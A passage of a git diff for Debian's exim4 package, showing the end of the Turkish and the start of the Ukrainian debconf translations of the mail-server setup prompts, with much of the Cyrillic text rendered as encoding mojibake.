+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Eğer bu alan boş bırakılırsa, tavsiye edilmeyen bir durum olarak, bu "
+"iletiler '/var/mail/Mail' dizinine kaydedilecektir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"'postmaster'a ait postanın okunacağı sistemin, bir başka sistem yerine bu "
+"postanın yönlendirildiği sistem olmasına dikkat edin. Dolayısıyla burada "
+"listelenen kullanıcıların (en azında bir tanesinin) kendi postalarını bir "
+"dış makineye yönlendirmemesi gerekir. İlgili kullanıcıya ilişkin posta "
+"dağıtımının sadece yerel olarak yapılmasını sağlamak için 'real-' öneki "
+"kullanılabilir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Birden fazla kullanıcı adları boşluklarla ayrılmalıdır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Kendisinden gelen SMTP bağlantılarının dinleneceği IP adresleri:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Exim SMTP tarafından dinlenecek IP adreslerini noktalı virgülle ayrılmış bir "
+"liste halinde girin."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Eğer bu alana boş değer girilirse, Exim kullanılabilir durumdaki bütün ağ "
+"arayüzlerine olan bağlantıları dinleyecektir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Eğer bu makine yalnız doğrudan yerel servislerden posta alıyorsa (ve diğer "
+"makinelerden almıyorsa), Exim'in dış bağlantılara kapatılması önerilir. Bu "
+"tür servisler fetchmail'in yanında yerel makine ile konuşan eposta "
+"programlarını (MUA) da içerir. Bu seçenek 127.0.0.1 olarak ayarlanırsa "
+"dışarıya açık ağ arayüzlerinin dinlenilmesini önleneceğinden bu sisteme "
+"dışarıdan bağlantı yapılamaz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS sorgulamaları asgari düzeyde tutulsun mu (İsteğe-bağlı-Bağlantı)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Normal çalışma kipinde Exim; başlatılırken, posta alıp gönderirken vb. "
+"durumlarda günlük tutmak amacıyla DNS başvurularında bulunur. Bu durum "
+"yapılandırma dosyasına önceden girilmesi gereken sabit değerlerin sayısını "
+"azaltmaya yaramaktadır."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Şayet bu makine (İstek-üzerine-Bağlantı kullanan çevirmeli bağlantıyla "
+"kurulmuş İnternet erişimlerinde olduğu gibi) kalıcı bir DNS-alan adı "
+"sunucusu erişimine sahip olmayan bir makine olsaydı, bu durum istenmeyen "
+"sonuçlar doğurabilirdi. Meselâ exim'in başlatılması veya (bekleyen bir "
+"iletinin dahî olmadığı) posta kuyruklarının işlenmesi masraflı bir bağlantı "
+"kurma giriÅŸimini tetikleyebilirdi."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Bu özelliği, İstek-üzerine-Bağlantı'yı (Dial-on-Demand) kullanıyorsanız "
+"etkinleÅŸtirin. EÄŸer sistem daima-mevcut Ä°nternet eriÅŸimine sahipse bu "
+"seçeneği etkinleştirilmeyin."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Posta Sunucusu yapılandırma türü:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Yapılandırmayı küçük dosyalara bölmek ister misiniz?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 paketleri tümleşik özellikte tek bir dosyaya (/etc/exim4/exim4."
+"conf.template) dayalı 'bölünmemiş yapılandırma'yı veya/etc/exim4/conf.d/ "
+"dizininde yaklaşık 50 civarında küçük yapılandırma dosyasından oluşan "
+"'bölünmüş yapılandırma'yı kullanabilir."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Bölünmemiş yapılandırma geniş çaplı değişiklikler için uygun ve genellikle "
+"daha kararlı iken, bölünmüş yapılandırma küçük değişikliklerin daha rahat "
+"yapılmasına imkân veren bir yöntemdir. Fakat bu son yöntem daha kırılgandır "
+"ve değişikliklerin fazla olması halinde sorun çıkarabilir."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Bölünmüş ve bölünmemiş yapılandırma hakkında daha ayrıntılı bilgi /usr/"
+"share/doc/exim4-base dizinindeki Debian'a özgü README dosyalarında "
+"bulunabilir."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Dışarı giden postada yerel posta adı gizlensin mi?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Dışarı giden postalara ait başlıklar yeniden yazılarak, postanın farklı bir "
+"sistemden gönderiliyormuş gibi görünmesi sağlanabilir. Bu seçenek seçilirse; "
+"Kimden (From), Cevap-Kime (Reply-To), Gönderen (Sender) ve Dönüş-Yolu "
+"(Return-Path) alanlarındaki '${mailname}' 'localhost' ve "
+"'${dc_other_hostnames}' değerleri yeniden yazılır."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/var/mail/ 'mbox' biçemi"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Ev dizininde 'Maildir' biçemi"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Yerel epostalar için dağıtım yöntemi:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim, yerel olarak dağıtılan epostaların farklı biçemlerde kaydedilmesine "
+"olanak tanımaktadır. Bunların en yaygınları 'mbox' ve 'Maildir'dir. 'mbox' "
+"epostaların tamamı için /var/mail dizininde tek bir dosya kullanır. "
+"'Maildir' ise her bir iletiyi ~/Maildir dizininde ayrı bir dosya halinde "
+"kaydeder."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Lütfen Debian'daki eposta araçlarının çoğunun yerel dağıtım yöntemi olarak "
+"'mbox' biçemini varsaydığını unutmayın."
diff --git a/debian/po/uk.po b/debian/po/uk.po
new file mode 100644
index 0000000..447f5ca
--- /dev/null
+++ b/debian/po/uk.po
@@ -0,0 +1,682 @@
+# translation of exim-uk.po to УкраїнÑька мова
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Eugeniy Meshcheryakov <eugen@debian.org>, 2004, 2006.
+# Borys Yanovych <borman@pravex.kiev.ua>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim-uk\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-06 13:52+0300\n"
+"Last-Translator: Borys Yanovych <borman@pravex.kiev.ua>\n"
+"Language-Team: УкраїнÑька мова\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n"
+"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Видалити недоÑтавлену пошту із поштової черги?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ð’ теці поштової черги exim /var/spool/exim4/input Ñ” повідомленнÑ, Ñкі ще не "
+"були доÑтавлені. ПіÑÐ»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Exim, вони залишатимутьÑÑ Ð½ÐµÐ´Ð¾Ñтавленими "
+"доки Exim не буде перевÑтановлено."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Якщо цю опцію не вибрано, тека черги залишитьÑÑ, зберігаючи можливіÑÑ‚ÑŒ "
+"доÑтавки повідомлень, котрі знаходÑÑ‚ÑŒÑÑ Ð² черзі, пізніше, піÑÐ»Ñ "
+"перевÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Переналаштовуйте exim4-config, а не цей пакунок"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Ð’Ñе що пов'Ñзано з налаштуваннÑм Exim4 винеÑено в окремий пакунок - exim4-"
+"config. ВикориÑтовуйте dpkg-reconfigure exim4-config, Ñкщо бажаєте "
+"переналаштувати Exim4."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"вузол Internet; пошта відправлÑєтьÑÑ Ñ‚Ð° приймаєтьÑÑ Ð½Ð°Ð¿Ñ€Ñму (за допомогою "
+"SMTP)"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· ÑмартхоÑÑ‚; Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· SMTP або fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· ÑмартхоÑÑ‚; без локальної пошти"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "тільки локальна доÑтавка; не в мережі"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "не налаштовувати зараз"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Загальний тип поштових налаштувань:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Виберіть, будь лаÑка, тип налаштувань поштового Ñервера, Ñкий вам підходить "
+"більше."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"СиÑтеми із динамічною IP-адреÑою, включно із ÑиÑтемами з комутованим "
+"з'єднаннÑм, зазвичай потрібно налаштовувати Ð´Ð»Ñ Ð²Ñ–Ð´ÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð²Ð¸Ñ…Ñ–Ð´Ð½Ð¾Ñ— пошти "
+"іншій машині, Ñка називаєтьÑÑ \"ÑмартхоÑÑ‚\", оÑкільки багато ÑиÑтем, що "
+"отримують пошту в Інтернеті блокують вхідну пошту з динамічних IP-адреÑ, Ñк "
+"захиÑÑ‚ від Ñпаму."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"СиÑтема з динамічною IP-адреÑою може отримувати Ñвою влаÑну пошту, або "
+"локальну доÑтавку може бути заборонено взагалі (за виключеннÑм пошти від "
+"кориÑтувачів root Ñ– postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ви впевнені, що хочете залишити поштову ÑиÑтему неналаштованою?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Доки поштову ÑиÑтему не буде налаштовано, вона буде непрацездатною та не "
+"зможе бути викориÑтана. Пізніше, Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð¾Ð¶Ð½Ð° зробити або вручну, або "
+"запуÑтивши \"dpkg-reconfigure exim4-config\" Ñк root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Поштове ім'Ñ ÑиÑтеми:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"Поштове ім'Ñ\" - це назва домену, що викориÑтовуєтьÑÑ Ð´Ð»Ñ \"кваліфікації\" "
+"поштових Ð°Ð´Ñ€ÐµÑ Ð±ÐµÐ· назви домену."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Це ім'Ñ Ñ‚Ð°ÐºÐ¾Ð¶ буде викориÑтовуватиÑÑ Ñ–Ð½ÑˆÐ¸Ð¼Ð¸ програмами. Це повинна бути "
+"унікальна повна назва домену (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ðаприклад, Ñкщо поштова адреÑа локального вузла - foo@example.org, то "
+"правильним значеннÑм Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— опції буде example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Це ім'Ñ Ð½Ðµ буде з'ÑвлÑтиÑÑ Ð² Ñ€Ñдках From: вихідної пошти Ñкщо дозволено "
+"перезапиÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Інші міÑÑ†Ñ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ, Ð´Ð»Ñ Ñких буде прийматиÑÑ Ð¿Ð¾ÑˆÑ‚Ð°:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Введіть, будь лаÑка, ÑпиÑок розділених крапкою з комою доменів отримувачів, "
+"Ð´Ð»Ñ Ñких дана машина повинна вважати Ñебе міÑцем призначеннÑ. Ці домени "
+"чаÑто назвиють \"локальними доменами\" (local domains).Локальне ім'Ñ Ð²ÑƒÐ·Ð»Ð° "
+"(${fqdn}) та \"localhost\" будуть завжди додані до цього ÑпиÑку."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"За замовчаннÑм вÑÑ– локальні домени будуть оброблÑтиÑÑ Ð¾Ð´Ð½Ð°ÐºÐ¾Ð²Ð¾. Якщо Ñ– a."
+"example, і b.example - локальні домени, то acc@a.example і acc@b.example "
+"доÑтавлÑтимутьÑÑ Ð² одне міÑце призначеннÑ. Якщо ви хочете, щоб різні імена "
+"доменів оброблÑлиÑÑ Ð¿Ð¾-різному, вам потрібно буде відредагувати файли "
+"налаштувань пізніше."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Домени, Ð´Ð»Ñ Ñких дозволена передача пошти:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Введіть, будь лаÑка, ÑпиÑок, розділений крапкою з комою, доменів-"
+"отримувачів, Ð´Ð»Ñ Ñких Ñ†Ñ ÑиÑтема буде перенаправлÑти пошту, наприклад, Ñк "
+"додатковий MX або поштовий шлюз. Це означає, що Ñ†Ñ ÑиÑтема прийматиме пошту "
+"Ð´Ð»Ñ Ñ‚Ð¸Ñ… доменів з будь-Ñкого міÑÑ†Ñ Ð² Інтернеті Ñ– доÑтавлÑтиме Ñ—Ñ— згідно "
+"правил локальної доÑтавки."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ðе вказуйте тут локальні домени. Можна викориÑтовувати шаблони."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Машини, Ñким дозволена передача пошти:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Введіть, будь лаÑка, ÑпиÑок розділених крапкою з комою проміжків IP-адреÑ, "
+"Ð´Ð»Ñ Ñких Ñ†Ñ ÑиÑтема буде довільним чином перенаправлÑти пошту, функціонуючи "
+"Ñк ÑмартхоÑÑ‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"ВикориÑтовуйте Ñтандартний формат - адреÑа/Ð¿Ñ€ÐµÑ„Ñ–ÐºÑ (напр. 194.222.242.0/24 "
+"або 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Якщо Ñ†Ñ ÑиÑтема не повинна бути ÑмартхоÑтом Ð´Ð»Ñ Ð¶Ð¾Ð´Ð½Ð¾Ð³Ð¾ іншого вузла, то "
+"залиште це поле порожнім."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Видиме ім'Ñ Ð´Ð¾Ð¼ÐµÐ½Ñƒ Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… кориÑтувачів:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Було зроблено вибір приховувати локальну чаÑтину поштової адреÑи пошти, що "
+"відÑилаєтьÑÑ Ð½Ð°Ð·Ð¾Ð²Ð½Ñ–. Тому необхідно вказати назву домену, що буде "
+"викориÑтовуватиÑÑŒ Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… кориÑтувачів в ÑкоÑÑ‚Ñ– доменної чаÑтини "
+"адреÑи відправника."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+"IP-адреÑа або назва машини, Ñка викориÑтовуєтьÑÑ Ð² ÑкоÑÑ‚Ñ– зовнішнього "
+"ÑмартхоÑту:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Будь лаÑка, введіть IP-адреÑу або назву поштового Ñерверу, що цією ÑиÑтемою "
+"буде викориÑтовуватиÑÑŒ в ÑкоÑÑ‚Ñ– зовнішнього ÑмартхоÑту. Якщо ÑмартхоÑÑ‚ "
+"приймає вашу пошту лише на відмінному від TCP/25 порту, додайте дві "
+"двокрапти та номер порта (наприклад, smarthost.example::587 або "
+"192.168.254.254::2525). КількіÑÑ‚ÑŒ двокрапок Ð´Ð»Ñ IPv6-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¾Ñ‚Ñ€Ñ–Ð±Ð½Ð¾ подвоїти."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Якщо ÑмартхоÑÑ‚ вимагає автентифікації, будь лаÑка, звернітьÑÑ Ð´Ð¾ приміток "
+"щодо SMTP-автентифікації в /usr/share/doc/exim4-base/README.Debian.gz."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Отримувач пошти Ð´Ð»Ñ root та postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Пошта Ð´Ð»Ñ \"postmaster\", \"root\" та інших ÑиÑтемних облікових запиÑів "
+"повинна перенаправлÑтиÑÑ ÐºÐ¾Ñ€Ð¸Ñтувацькому обліковому запиÑу Ñправжнього "
+"адмініÑтратора ÑиÑтеми."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Якщо ви залишите це поле порожнім, така пошта буде зберігатиÑÑ Ð² /var/mail/"
+"mail, що не рекомендуєтьÑÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Зауважте, що пошта Ð´Ð»Ñ \"postmaster\" повинна читатиÑÑ Ð½Ð° ÑиÑтемі, Ð´Ð»Ñ Ñкої "
+"вона призначена, а не переÑлана в інше міÑце, таким чином, кориÑтувачі, Ñких "
+"ви вкажете тут (чи хоча б один із них) не повинні перенаправлÑти пошту із "
+"цієї машини. ВикориÑтовуйте Ð¿Ñ€ÐµÑ„Ñ–ÐºÑ \"real-\" Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð¼ÑƒÑової локальної "
+"доÑтавки."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"При вводі декількох імен кориÑтувачів Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– розділÑтиÑÑŒ пробілами."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-адреÑи на Ñких очікувати SMTP-з'єднаннÑ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Будь лаÑка, введіть ÑпиÑок IP-адреÑ, виокремлюючи Ñ—Ñ… крапкою з комою. SMTP-"
+"демон Exim проÑлуховуватиме вÑÑ– вказані тут IP-адреÑи."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Якщо ви залишите це поле порожнім, то Exim буде очікувати на з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð½Ð° "
+"вÑÑ–Ñ… наÑвних мережевих інтерфейÑах."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
